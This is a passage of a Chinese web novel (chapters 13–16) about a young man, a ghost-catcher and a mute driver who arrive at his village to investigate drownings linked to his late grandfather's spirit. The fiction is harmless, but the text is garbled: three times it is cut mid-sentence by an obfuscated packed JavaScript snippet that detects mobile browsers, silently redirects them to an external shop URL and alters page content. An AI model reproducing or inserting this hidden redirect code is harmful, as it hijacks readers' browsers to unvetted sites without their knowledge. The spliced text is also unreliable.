应归燎见状瞬间坐直了身体,战术性清了清嗓子,给钟遥晚介绍道:“这位是唐佐佐,我们‘灵感工作室’的元老级成员。佐佐,这是钟遥晚,在山村里认识的,也要去临江村。” 唐佐佐点了点头,看起来是对应归燎变脸以后的态度没有什么意见。 她的视线在钟遥晚的脸上流转了一圈,不知道是不是钟遥晚的错觉,他总觉得唐佐佐似乎对他的耳钉很感兴趣。 不过她最终也没有说什么,见应归燎不再胡说以后就转回了前方。 正当钟遥晚奇怪的时候,应归燎小声地给他解释道:“她小时候受过刺激,现在哑巴了,说不了话。” 他说完以后,坐在驾驶座上的唐佐佐也跟着点了点头附议。 她两只手举起,纤细的手指在空中快速地划动着,变换着各种手势,就像在跳一支无声的舞蹈。 这应该是手语。 钟遥晚看得一头雾水,却见应归燎脸色骤变,立刻就举起了三根手指做出发誓的样子:“佐佐姐,我发誓我以后绝对不乱买东西了!” 唐佐佐眯起眼睛,手指在方向盘上轻轻敲击,似乎是在思考要不要相信这个保证。 应归燎见状,又增加了许多“真诚”的保证以后,唐佐佐才点点头,启动了车子准备上路。 车子的引擎在山间发出阵阵低鸣,出乎钟遥晚意料的是,这个看起来潇洒不羁的女人开车却异常平稳。 越野车在山路上稳稳前行,每一个转弯都恰到好处,连水坑都能精准避开。钟遥晚坐在车子后座,却感觉像坐在家里的沙发上一样安稳。 “诺,尝尝这个。”应归燎从车上翻出几包零食,献宝似的塞给了钟遥晚,“小哑女特制的牛肉干,独家配方,外面可吃不着。” 钟遥晚也没有和他客气,他刚刚拆开包装,浓郁的香料味道就扑面而来。他咬了一口就忍不住夸道:“好吃!” 前排的唐佐佐闻言以后也显出了几分得意的样子,连背都跟着坐直了一些。 而一旁的应归燎更是开始滔滔不绝地推荐起了唐佐佐做的其他小零食,夸赞每一款都是能原地开店的程度。 “所以……”钟遥晚又拆了个雪花酥塞到嘴里,趁着咀嚼的间隙,含糊不清地问道:“你们刚刚在打什么哑谜?” 唐佐佐这会儿在开车,没时间打手语,于是就只能由着应归燎胡说:“哦——就是我平时喜欢网购一些没用的东西,她叫我以后少买一点。” “叭——!” 唐佐佐一巴掌拍在方向盘上,车子喇叭随即发出刺耳的嗡鸣,似乎是在代替她抗议。她明显有些躁动起来,视线左右飘着,似乎在找哪里能停车。 应归燎见状刚想要去安抚住唐佐佐,没想到那边的钟遥晚就先飘过来一句:“不信。” 唐佐佐先是一愣,随即忽然笑了起来。她重新握稳了方向盘,山风吹扬起她鬓角的碎发,方才那股凌厉气势荡然无存,反而显出几分少女的俏皮。 应归燎夸张地捂住胸口,做出一副受伤的模样:“钟遥晚同志,你这是在质疑我的人格!” 而这次,钟遥晚刚想要出声反驳,就见唐佐佐一只手稳稳地把控着方向盘,另一只手腾出,单手做了个“呕吐”的动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614247|187672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 钟遥晚在一旁看得哈哈笑。 应归燎被双人夹击气得够呛,他愤愤地将一把将钟遥晚手中拆开的零食抢了回来,往嘴里塞了一大把,然后开始嘟囔地唱起“假烟假酒假朋友~”,试图唤醒和两个人的友情。 而唐佐佐呢,也不急不躁地打开了车载音乐,开始播放起“友谊天长地久”。 在悠扬的音乐中,她也跟着节奏轻轻点头,时不时还通过后视镜给应归燎丢个嫌弃的眼神。 钟遥晚望着窗外掠过的青山,突然感觉这趟荒诞的旅程似乎也没有那么糟糕了。 至少现在,车厢里弥漫着牛肉干的香气,和某种说不清道不明的温暖。 * 一路上无事发生,车子行驶了约莫几个小时就到了临江村。 临江村从前是江南的一个小村庄,这里本来叫陈家村,前不着村后不着店的,村民原本都过着自给自足的生活。可是就在十几年前,村里的一户陈姓人家忽然发了财,一陈得道,万陈升天。 那位半路富豪拿出了一大笔钱用来建设家乡。 不仅翻新了道路,让车子方便通行,更是利用陈家村临江的特性,在这里建设了一个临时补给码头,硬生生地把这条江流支干道发展成了主干道,于是村民经过投票后,也干脆把“陈家村”改名成了“临江村。” 现在村子里别说是供水供电通畅了,连供暖都不是问题。 再加上临江村风景秀美,不少向往田园生活的人也会选择在这里落脚。 继续发展几年,估计临江村都要变成临江镇了。 车子缓缓驶入村里,钟遥晚这才想起来,扭头问道:“对了,你来临江村是要做什么的?” “诶?我没和你说过吗?”应归燎挠了挠头,然后装模作样地回忆了一会儿以后继续道,“接了个私活,说这里闹小鬼,让我来看看。” “吱——”刺耳的刹车声骤然响起。 唐佐佐猛地踩下刹车,轮胎在水泥路上擦出两道黑痕,把一旁院子里正在晒太阳的老头都吓得瓜子撒了一地,颤颤巍巍地扶了扶老花镜朝他们这里投来视线。 钟遥晚被惯性甩得往前一冲,脸直接砸在了前座椅背上。 他抬眼就看见唐佐佐缓缓转过了头,她似乎也是第一次听说这件事,墨镜后的眼神凛冽如刀,手指在方向盘上敲击出危险的节奏,让钟遥晚都觉得背后发凉。 应归燎接收到了唐佐佐的眼神信号,立刻又摆出了那副虔信的样子,竖起三根手指:“放心吧!佐佐姐,我这次肯定不用酬劳去买乱七八糟的东西!” 钟遥晚:“……”到底是买了什么伤天害理的东西,才会让两个人都反应这么大。 唐佐佐显然没有相信应归燎的话,她的眼神愈发危险。 应归燎急得开始朝钟遥晚挤眉弄眼,还用脚尖不停地偷偷踢他。 钟遥晚被踢不耐烦,只能敷衍地开口帮忙转移话题:“……所以,是谁家闹小鬼?” 应归燎见有台阶下,如蒙大赦地长舒了一口气,立刻掏出手机找到存着的地址,递过去给钟遥晚看:“陈家。不过村子的话,应该姓‘陈’的人家挺多的吧?你看看,这个地址你认不认识,要是认识的话正好一会儿再给我引荐引荐。我这人腼腆,见到生人就紧张。” 钟遥晚:“……”神经病。 唐佐佐闻言更是白眼都快翻到天上去了,她转回了身,没再搭理应归燎,估计是觉得再多理他一下连自己的智商都会下降。 应归燎见钟遥晚也在睨自己,就继续把手机往他脸上怼。 直到屏幕都碰到钟遥晚鼻子了,钟遥晚才受不了地推着他手腕,让他举着手机到一个适当的高度以后凑近去看—— “临江村,三号,陈家……”钟遥晚敷衍地念着屏幕上的字,随后忽然反应过来了什么,瞳孔猛地收缩,“这不是我家吗?!” 14. 陈暮 “你家?!”应归燎也同样震惊。 他的瞳孔微微颤着,目光从钟遥晚的眼睛开始慢慢滑落到那枚翠玉耳钉上,像是在看一个突然活过来的幽灵,“不可能吧?!” “我之前就想问了。”钟遥晚被他的视线盯得不自在,下意识地转了转身子。果然,应归燎的视线一直黏在他的耳垂上,眼瞳还跟着他的动作左右跑,“你对我的耳钉很感兴趣吗?” 应归燎没有回话,只是盯着钟遥晚的耳钉若有所思。 就在钟遥晚以为他要将谜语行动进行到底的时候,应归燎竟然直接凑了上来。 钟遥晚见他过来,下意识地往后缩了一下。可是车里的空间终究有限,他躲了一下也只是徒劳,还是轻易地就被应归燎袭击了。 应归燎捏着他的耳垂,手指小心地蹭过冰凉的翠面。带着薄茧的指面摩挲过翠玉表面的纹路时,还会带出细微的沙沙声。 阳光透过车窗洒在那枚耳钉上,映出内部流动的翠色纹路,像一泓被封印的春水。 应归燎的动作异常认真,他指尖细致地描绘着每一道刻痕,仿佛在解读某种古老的密码。 不知道是不是钟遥晚的错觉,他总觉得应归燎这么做的时候,自己的耳畔在隐隐升温。距离过近,他甚至还能隐隐嗅到应归燎身上阳光的气息。 “你这耳钉……”应归燎的声音忽然变得很轻,像是怕惊动了什么,“是什么时候开始戴着的?” 钟遥晚闻言眨了眨眼,认真地回忆了一下。应归燎也适时地退到了一边,等待钟遥晚的答复。 “有记忆的时候就戴着了……吧?”钟遥晚的声音中带着几分不确定,他摸了摸耳朵,手指停留在耳钉边缘,“怎么了?” 应归燎没有立刻回答。 车厢里陷入短暂的沉默中,只有空调的出风口在发出微弱的嗡鸣。 钟遥晚看见应归燎的眼中折射出奇异的光彩,像是有什么从他眼中一闪而过。 “没什么。”应归燎忽然绽开一个灿烂的笑容,声音轻快地有些刻意。“就是觉得你的耳钉挺闪的,在想是不是火彩的。” “我身上这件还是19.9包邮买的,怎么可能是暴发户啊!”钟遥晚扯了扯自己洗得发白的衣领,忍不住吐槽他。 但是后者却像是没听到一样,忽然夸张地张开双臂,像只开屏的孔雀一样,在窄小的空间里扭来扭去。他甚至故意捏着嗓子,声音恶心地让钟遥晚起了一身鸡皮疙瘩:“暴发户大人~以后我就跟您混啦~!端茶倒水捏肩捶背,小的样样精通~” 钟遥晚看着这个突然发疯的家伙。 哪个好人家会需要扭扭棒端茶倒水啊! 应归燎不管不顾地左右乱扭,胳膊还打到钟遥晚好几下。 就在钟遥晚忍无可忍地准备镇压妖兽时,一部亮着屏幕的手机突然横插进来。 唐佐佐不知何时转过身,修长的手指在手机屏幕上敲出问题:「这个耳钉是你家里人给的吗?」 她的眼神专注,墨镜后的目光如有实质般落在钟遥晚的耳垂上。 “对,”钟遥晚不自觉地放轻了声音,“说是辟邪保平安的,让我一直戴着不要摘。” 话音落下,车内陷入诡异的寂静中。 应归燎不知何时停止了耍宝,正低头看着手中的罗盘若有所思。唐佐佐的指尖在方向盘上轻轻敲击,节奏莫名让人想起某种古老的咒语。 看着两人的反常,钟遥晚突然意识到,这枚陪伴他二十多年的耳钉似乎藏着什么他不知道的秘密。 * 车子缓缓驶向临江村三号院落,轮胎碾过石缝间新生的苔藓,发出“嘎呀、嘎呀”的声响。 钟遥晚自从上了大学以后就很少回家了,去年更是加班忙碌到大年夜。别说回家了,能在宿舍里对着春晚喘口气都算不错了。 上次回家的时候似乎还是去年爷爷去世的时候。 现在他看着自己老家熟悉的朱漆大门,突然有种恍如隔世的感觉。 唐佐佐将车子停在小院里,摘下墨镜别在领口。 应归燎率先一步跳下车,这个声称见到生人就会紧张的家伙倒是比钟遥晚这个正牌主人还要自在,嘴里嚷嚷着饿了就推着钟遥晚往家里走。 临江村的民风淳朴,白天的时候大家都喜欢敞开大门,不仅通风,也方便邻里串门。 屋子里,钟遥晚的奶奶陈暮正坐在老藤椅上,戴着老花镜悠哉地看着翻着报纸。午后的阳光透过雕花木窗,在她银白的发丝上镀了层金边。 “奶奶,看什么呢?”钟遥晚放下行李,轻手轻脚地凑过去。 陈暮不紧不慢地翻过一页报纸:“看看昨天的新闻,人老了,也得紧跟时事……”话音未落,她突然顿住,推了推老花镜转过脸来:“阿晚?!” 老人家的声音陡然拔高,藤椅发出吱呀声响。她站起身,布满皱纹的手紧紧抓住钟遥晚的胳膊:“阿晚回来啦?不是说前两天到的吗,奶奶还以为你不回来了呢!前天准备的一桌子菜都没人吃,第二天都给虎子那群小鬼扫荡空了。” 说着,她突然注意到了什么,手指一紧,“你这腿怎么回事?” “没事,路上摔了一下。”钟遥晚干笑了一声,含糊其辞。 陈暮想要去查看钟遥晚的伤,但是被钟遥晚眼疾手快拦住了。他今天刻意穿了条比较长的裤子,但还是没能完全遮住腿上狰狞的伤。 正巧应归燎和唐佐佐走进来了,于是他连忙调转话题:“奶奶,你怎么找‘灵感工作室’的人过来了?闹小鬼?怎么一回事,怎么都没和我说?” 陈暮听到“闹小鬼”几个字,脸色骤变。 她眯起眼朝门口望过去,看到走进来的是两个年轻人时还明显地愣了一下:“你们是谁?” “奶奶,我是应归燎,她是唐佐佐。”应归燎笑得人畜无害,“你找了应书,委托捉小鬼……” “咳咳!!”陈暮忽然无端地咳嗽起来,打断了应归燎的话。 应归燎立刻意会,话锋一转,“应书是我老爸,他现在已经不干这一行了,所以就叫我来看看。不过先说好,就算是我老爸那边的人情,报酬还是得按市场价……” 陈暮轻轻哼了一声:“你放心,老婆子还是懂行规的。本来说下周来就好的,怎么来得这么早?” “哈哈,天有不测风云嘛……”应归燎干笑着看了一眼一旁的唐佐佐。 钟遥晚:“……”根本就是想要躲人所以拿工作当借口出来避难的吧。 陈暮望了一眼一旁还不在状况内的钟遥晚,语气都明显柔和了不少。“快晚餐时间了,阿晚,先去休息一会儿吧,我和这两位有点事谈。” “啊?”钟遥晚站在原地没有动,陈暮这话说得太刻意了,明眼人都能够看出她是在故意支走钟遥晚。 他犹豫地看了一眼应归燎,正想转身离开的时候,应归燎一把拦住了他。 应归燎攥住了钟遥晚的胳膊,目光却是看向陈暮的:“对了,忘了和您说一下。我和钟遥晚前两天被困在了前面的山村里,他已经见过思绪体实体化以后的妖怪了。” 陈暮:“……” 唐佐佐:“……” 钟遥晚:“……”还是你会戳心窝子。 “老人家,现在可是二十一世纪了,已经不流行隐瞒式保护了。”应归燎好像根本没有感觉到屋子里气氛的尴尬,摊摊手道。 “行啦!”陈暮抬高声音,制止了还要再说下去的应归燎,“你爹以前跟我说,你这一张嘴损得不行,还真是这么回事。” “哎哟,他还和您提过我啊?”应归燎笑了起来,“他倒是没和我提过您呢。” 陈暮摆摆手,接上他的话,“我没什么好提的,老婆子一点灵力都没有,根本和你们那个圈子没有交集。非要说的话,也就是我家那口子以前是干‘捉灵师’的。”随后她转头看向钟遥晚,眼中闪过一丝复杂的情绪,“阿晚这孩子随我,身上干干净净地一点灵力都没有,所以也没必要和他说这些事。” “不对吧,老人家。” 应归燎的声音很轻,但是让陈暮的身形明显地颤抖了一下。 唐佐佐立刻用胳膊肘去戳他,但是却被应归燎灵巧躲过了。 他的目光依旧直视陈暮,声音轻松灵快:“钟遥晚是有灵力的吧?——现在可是二十一世纪了,欺骗式教育也不流行了哦。” 陈暮身子猛地一颤,苍老的面容立刻血色褪尽。她紧紧攥着衣角,指尖都泛出了青白色,嘴唇颤抖着说不出话来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614248|187672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不只是陈暮,钟遥晚也被惊到了。 活了二十多年,突然发现这个世界上居然还有怪物存在不说,自己居然还有灵力吗?! 钟遥晚脑海中回顾着这二十多年的生活,苦思冥想也没有想出来自己和普通人到底有什么不一样的。 “你、你怎么会……”陈暮的声音碎不成调。 钟遥晚赶忙上前一步扶住老人几乎站不稳的身子,半搀半抱着将她送回那张老旧的藤椅里。 而挑起话题的应归燎却还像个没事人一样地继续道:“行了,话也说开了老人家。你们村里是出了什么事吗?” “奶奶……”钟遥晚小声唤着陈暮。 陈暮的脸色依然苍白,眼底翻涌着复杂难言的情绪。她沉默了片刻,最终化作一声几不可闻的叹息,枯瘦的手轻轻覆上钟遥晚的手背,拍了拍:“没事了,阿晚。其实奶奶也不想瞒你,但是鬼怪这种事情,还是少有牵扯比较好。” 她说完以后又看了一眼应归燎,见应归燎没有再说什么以后才继续道:“事情还要从去年六月讲起来。” “去年六月?”钟遥晚心头一跳。 “对。”陈暮抬起眼皮看了一眼钟遥晚,她顿了顿,随后苍哑的声音继续道,“就是从你爷爷死的以后开始发生的……自从你爷爷走了以后,每隔几个月就会有人落水。但是咱临江村靠水吃水,年年都有人失足,谁也没往别处想。” 钟遥晚不自觉地屏住呼吸。 陈暮抬起头望向门外,她的视线似乎在追逐着天边的云朵,声音轻缓又沧桑:“上个月,有艘船半夜经过了临江村,莫名其妙触礁了。整条船都翻了,不少人都落水了,不过大家都是船员,水性好,没出啥大事。” 应归燎眉头一皱:“所以你怀疑是怪物做的?” 钟遥晚也听出了其中的不对劲:“临江村旁边的江早就已经因为要通商船,疏浚过了,不可能有暗礁。” 陈暮缓缓点头,继续补充道:“而且第二天,下游出现了好几具尸体。指认以后发现都是昨晚的船员,而且个个都是溺死的。” 屋内顿时安静下来,只有老式挂钟的滴答声在屋内回荡。 钟遥晚感觉后背窜上一股凉意。 “所以你是觉得……”应归燎的声音忽然压低。 陈暮的声音哽咽:“很有可能是老头子死了以后变成了思绪体,实体化的时候……做了这些伤天害理的事情。” 她说完后,佝偻着背走向里屋,脚步声回荡在安静的大厅里。 等到她再回来的时候,手中多了一个古朴的朱漆木盒,腊衣在阳光下泛着一层血色。 钟遥晚家里的陈设很简单,没有一点多余的装饰。这个盒子明显和周围的环境格格不入,盒子边缘甚至还雕刻了繁复的花纹,蜿蜒缠绕地包裹盒盖。 陈暮将盒子打开,一股淡淡的檀香混合着陈旧的气息随之飘散开来:“都是老头子生前的东西……” 钟遥晚凑近过去,立刻就认出盒子里面摆放的都是爷爷生前喜欢把玩的东西。他的钢笔、褪色的珠串、泛黄的照片……每一样都被擦拭得一尘不染,整整堆满了一个盒子。 钟遥晚凝视着盒子中熟悉的物件,胸口突然泛起了一阵酸涩。 他是跟着爷爷奶奶长大的,这盒子里的不仅是爷爷的回忆,也是他的回忆。 印象中的爷爷一直是个慈祥的老人家,他抿紧了嘴唇,根本没有办法想象爷爷会变成像是二丫那样的怪物。 陈暮看着盒子里的东西,眼神中明显多出了几分怀念。她的手指轻轻触过盒子里的物件,声音里含上哭腔,破碎得几乎听不见:“他要是有什么执念的话,大概就是在这里了……” 钟遥晚心头一紧,他伸手扶住陈暮摇摇欲坠的身子。他能感觉到陈暮单薄的肩膀在剧烈颤抖,像是在承受某种无形的重量。 应归燎看了一眼罗盘,那只吵人的罗盘此刻就安静地躺在他掌间,没有丝毫动静。 应归燎蹙起眉,他和唐佐佐对视了一眼以后继续道:“你搞错了吧老人家?” 陈暮倏地抬头。 “这里根本没有思绪体啊。”应归燎继续补充,“倒不如说,我们今天进村子的一路上都没有感觉到有思绪体的存在啊。” 15. 我们有灵力的人 应归燎的话音落下,屋内陷入一片沉寂。钟遥晚虽然对灵异事件了解不多,但从奶奶描述的种种迹象来看,这绝非寻常事故。 村里住宿不方便,陈暮就安排应归燎和唐佐佐在家里住下了。 家里的房间一共只有三间,一间是陈暮的,一间是钟遥晚的,另一间是钟遥晚母亲的。 虽然钟遥晚妈妈在他出生以后不久就离世了,但是陈暮仍将她的房间保持着生前的模样,至今还在定期打扫整理。 “佐佐就住那间吧。”陈暮指了指钟遥晚母亲的房间,随后又转向应归燎,“你这臭小子就和阿晚挤一挤吧。” 钟遥晚的房间恰好有两张床。隔壁发小陈祁迟的父母都在城里打工,从小就被托付给陈暮照顾,因此钟遥晚房里特意多安置了一张床。 现在倒是便宜了应归燎这个不速之客。 “没事的老人家,我不挑。”应归燎作出一副大方的模样摆了摆手。 钟遥晚没忍住给他翻了个白眼,确实,窗户破了个大洞都能睡得跟猪一样,能挑到哪儿去? 应归燎跟着钟遥晚去了他的房间。 钟遥晚的房间意外的宽敞,两张单人床分别靠墙摆放,窗边的书桌上还留着几本高中教材,墙上贴着已经泛黄的球星海报。 应归燎从钟遥晚手中接过一床薄毯,突然问道:“你发小现在人呢?” 钟遥晚正在整理被褥的手顿了顿:“考上大学以后就去城里了,在平和市。” “那敢情好啊!”应归燎眼睛一亮,“我们工作室也在平和市,哪天去找你发小玩的时候,也记得来看看老朋友啊!” “你才住下吧!说得跟明天就走了似的!”钟遥晚无奈地抽了抽嘴角。 更何况,去“捉灵师”的工作室串门,总让人感觉会撞见什么不干净的东西。 借着整理床铺的间隙,钟遥晚偷瞄了一眼正在收拾床铺的应归燎的身影。 他的视线在应归燎的脸侧打量了一圈。不得不承认,应归燎的皮囊生得极好,他的肤色显出了一种近乎透明的白,却丝毫不见病态,反而衬得眉眼愈发深邃。 这样一张脸,若是放在寻常人身上,怕是要被夸做“玉面郎君”,可偏偏这张脸长在了这个整日与魑魅魍魉打交道的捉灵师身上。 最干净的外表下却藏着最不寻常的人生。 哦,兴许就是因为和鬼怪打交道多了,皮肤才会那么白。 钟遥晚这么想着,忽然了然地点点头。 “看什么呢?”应归燎明显察觉到了钟遥晚的视线,他突然转头,嘴角还挂着促狭的笑。 钟遥晚连忙别开眼,继续专注手上的事情:“没什么,就是在想干你们这行的是不是都这么白?” 应归燎愣了一下,随即大笑起来:“怎么,羡慕啊?”他故意凑近过来,“要不我教你几个驱邪的咒术,保证比防晒霜管用。” “咒术?你还会这东西?”钟遥晚不客气地把他凑过来的脸推开,“那在山村的时候你怎么不用,都快被二丫给挠死了也没见你念咒啊。” 应归燎耸耸肩膀,笑得一脸无辜:“哦、可能是因为那是我编出来逗你的。根本没有咒术这种东西吧~” 钟遥晚:“……”好想打人。 “咳咳……”应归燎见钟遥晚的脸色明显阴沉了几分,立刻干咳了两声转移话题:“不过既然你也有灵力的话,干脆来我们工作室得了,正好前阵子离职了一个人,现在正缺人手呢。” “我?”钟遥晚眨了眨眼,然后忽然回忆起了什么,好奇道,“说起来,你怎么知道我有灵力的事的?” 刚才在大厅的时候,钟遥晚光顾着惊讶钟棋——他的爷爷可能变成思绪体的事情了,完全把这事给忘了。 “感觉到的呗。”应归燎轻飘飘地说着,“有灵力的人之间都会有一些……嗯,特殊的感应?” “感应?”钟遥晚皱起眉头,语气中带着明显的疑惑,“我怎么对你没感觉?” “你之前都不知道你有灵力呢!”应归燎轻笑着,抬手摸了摸钟遥晚的耳垂。 那一瞬间,钟遥晚感觉到一股温热的暖意从他触过的地方开始扩散。 很奇妙,是一种说不清道不明的感觉。仿佛有一层潜藏的力量在身体中,似是水波一般缓缓流泄,又如同暗河般隐秘而深沉。 钟遥晚努力地感受着力量的流动,它们在身体中稳定地流转,然后透过皮肤消逝。随后他听到应归燎说:“刻意留意一下,也许会慢慢地敏锐起来的。” 钟遥晚不自觉地屏住呼吸,翠玉的耳钉被应归燎抚得隐隐升温。那股奇异的暖流仍在体内流淌,让他一时忘了言语。 正当他想要追问更多的时候,一阵轻叩打断了这微妙的氛围。 他们刚刚进屋的时候没有关门,唐佐佐不知道什么时候站到了门口,敲了敲门框引起屋内两人的注意。 “怎么了,小哑女?”应归燎率先回过身,脸上依旧是那副欠扁的笑容,“有什么需要哥哥们帮忙的吗?” 他指尖不着痕迹地从钟遥晚耳边离开,那阵奇异的力量也随之逐渐消失。 午后的阳光透过窗户斜斜地洒进来,落在唐佐佐身上。 她这会儿把墨镜摘了,一双眼在光线下显得格外清澈,浅褐色的眼瞳像是浸在泉水里的琥珀,眼尾微微上挑,格外灵动。 也许是因为不会说话的原因,上帝反而给了她一双会说话的眼睛。 唐佐佐的手指快速在空中比划了一下,动作行云流水。 应归燎见状,一下来了力气:“哦!吃饭了!”他一下蹿出去,还不忘拽上仍然在发愣的钟遥晚,“快走快走,都快饿死了!” 钟遥晚被他拽得一个踉跄,骂骂咧咧地跟了上去:“你慢点,饭又不会跑!” 午饭是在一种微妙的氛围中进行的。 陈暮做了满满一桌子的菜,红烧肉的酱汁浓郁,清炒时蔬翠绿鲜嫩,米饭颗颗饱满,但是席间却鲜有人说话。 唐佐佐小口小口地吃着饭,钟遥晚也因为方才过量的信息摄入而没什么胃口。只有应归燎吃得欢快,只是每次想开口说些什么,都会被唐佐佐一个眼神制止。 而钟遥晚呢,他几次想问“灵力”到底是什么东西,怎么使用,除了净化以外还有什么用途,也都被陈暮的一个眼神制止了。 饭后,陈暮坚持自己收拾碗筷,把年轻人都赶回房间了。 应归燎趁机调查了一下最近一年发生在临水村的事件,虽然并不是每个月都会发生事件,但是每次的案件却都是在十五号前后,而今天不过四号而已。 “所以才会叫你下周过来吧?”钟遥晚瞥了应归燎一眼。 应归燎对此只是哈哈一笑:“我这不是提前过来熟悉一下嘛。” 钟遥晚原本只打算回家两三天,去给爷爷扫墓完了就回暮雪市。 但是现在腿上都是伤不说,车子也被拖回修理站了,根本没有一点力气和手段回去。 钟遥晚先给陈祁迟打了个电话,告诉他车子回炉重造了的好消息,然后在陈祁迟的惊叫声中挂断了电话。 接着,在他思索再三以后,还是硬着头皮和公司请了几天假,要求入职合同延后签署。 不过钟遥晚的请假消息刚刚发出去,手机就开始疯狂震动。 老板的语音一条接一条,像连珠炮一样地往外蹦。他从行业现状扯到人类文明起源,从公司人员紧缺扯到宇宙大爆炸,最后又绕回“年轻人要吃苦耐劳”的主题,脱落落一场职场版《人类简史》讲座。 最后还是钟遥晚拍了一张惨不忍睹的大腿照片过去,老板才不情不愿地给他批了几天假。 应归燎没事干,就全程在旁边看戏,笑得伤口都裂开了都堵不住他的嘴,还说钟遥晚的老板是AI成精。 他转头,正巧看到唐佐佐抱着医疗箱过来,突然来了兴致,非要拉着她演示请假流程。 唐佐佐把消毒水和绷带一样一样地码出来,连眼皮都懒得抬,被缠得烦了才掏出手机:我要请三天假。 应归燎立刻摆出老板架势,装模作样地请假,又在唐佐佐转身要走的时候急忙挽留。 钟遥晚抽了抽嘴角,总觉得自己去了峨眉山。 唐佐佐离开以后,两个人都给伤口进行了简单的处理。 钟遥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614249|187672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚从小到大都没有生过大病,受过重伤,绷带缠得跟麻花似的。应归燎倒是对此很熟悉了,给自己包扎完了又替他处理了伤口。 接下来半天的时间是钟遥晚难得的悠闲日子,自从上班以后他就再也没有这么清闲过。好不容易找到机会回老家,半路还杀出来个二丫。这下他终于可以躺在床上安安心心地刷手机了。 晚餐以后,唐佐佐一个人去村子里溜达了。 应归燎本来想跟她一起去,但是却被唐佐佐一个眼刀钉在原地:「伤患就好好待着,别到处乱跑。」 于是应归燎也就只能和钟遥晚一起,一人抱着半个西瓜,哀怨地看着唐佐佐的背影消失在村道拐角,活像只被遗弃的大型犬。 应归燎的伤比钟遥晚的要严重许多。他坐在一旁,活像个被裹坏的木乃伊,绷带从肩膀一路缠到腰腹。 他用勺子挖着西瓜最甜的那块芯,动作间牵扯到伤口时疼得龇牙咧嘴,还要嘴硬嘀咕:“我伤的又不是腿,为什么我不能出去?” “闭嘴吧你。”他瞥了一眼身旁焉巴巴的应归燎,忍不住吐槽:“知道的以为你受伤了,不知道的还以为你从金字塔里爬出来的。” 应归燎不服气地哼哼两声,结果又扯到伤口,顿时疼得倒抽冷气。 暮色中的临水村灯光稀疏,比起城市的霓虹确实少了很多光污染。但是钟遥晚仰头望着兴中,总觉得比记忆中童年看到的星河要黯淡了许多。 他忽然想起小时候,爷爷抱着他坐在院子里数星星的场景,老人粗糙的手指划向夜空,告诉他每一颗星星的名字。 如今那些星星,连同记忆中的爷爷,似乎都随着村子的开发一起渐渐消逝在时光里。 “我跟你说,去年在青梧山上遇到了一个特别邪门的案子,那家人不知道是信了什么邪神,居然集体上吊自杀了……”应归燎的嘴就像上了发条,西瓜都堵不住他的话匣子。偶尔还要穿插几句西瓜籽直接吐在地里来年会不会长出西瓜。 他从湘西赶尸讲到东北出马仙,一个人说得眉飞色舞,完全不需要任何听众。 钟遥晚耳边嗡嗡作响,思绪却飘得很远。他的目光不自觉地落在院子里那棵柿子树上,记忆中爷爷总爱在树下泡茶,透过树隙看天空,一坐就是大半天。 终于他在应归燎要继续说下一个故事的时候,轻声打断:“所以我爷爷真的变成了思绪体了吗?……会变成怪物吗。” 钟遥晚的声音沉在夜色中,像片坠入深渊的落叶。 应归燎夸张的表情瞬间凝固,他放下西瓜,和钟遥晚一起望向天空。 月光在他轮廓分明的脸上落下一层光影,他的声音又轻又缓地钻入钟遥晚耳中:“一般来说,只有执念极深的人,灵魂才会在死后依托在信物上,转化成思绪体。”随后,应归燎静静地望向钟遥晚,“你知道你爷爷有什么放不下的事吗?” 钟遥晚被问住了,他的喉结动了动,明显地愣了一下。 自从他考上大学以后和家里的联系就很少了,这么说来,他确实不知道爷爷这几年会有什么心事。 记忆中的爷爷很少离开临江村。他总是坐在院里,望着天边。 小时候钟遥晚问他在看什么,爷爷总是笑着说在看远方的家人。 幼时的钟遥晚读不懂爷爷眼中复杂的情绪,随着爷爷一起看了一眼天边以后就跑出去玩了。 长大以后……爷爷还会坐在院中继续望景神思吗? 钟遥晚看向天边,除了稀疏的晚星以外什么都看不见。 他似乎对家人的了解太少了。 轻风掠过院角的柿子树,远处传来几声零星的犬吠,又很快归于寂静。 “被执念禁锢在人间的魂魄,就像困在琥珀里的虫子,他们已经没有办法自主离开人世了。” 应归燎还要继续说下去,但是他见钟遥晚愈发紧绷的肩膀,话锋突然一转,重重地拍了钟遥晚的肩膀。 他又恢复了那副没心没肺的笑脸,却带着令人安心的笃定:“不过别担心!净化以后就能够顺利进入轮回啦!” “我们捉灵师……身负灵力的人,就是为了这个而存在于世的。” 16. 亏大了 唐佐佐回来的时候夜已经深了,钟遥晚听到门外的动静本想出去看看,但是应归燎却把他拦下了,说要是有什么事的话,唐佐佐会主动来找他们的。 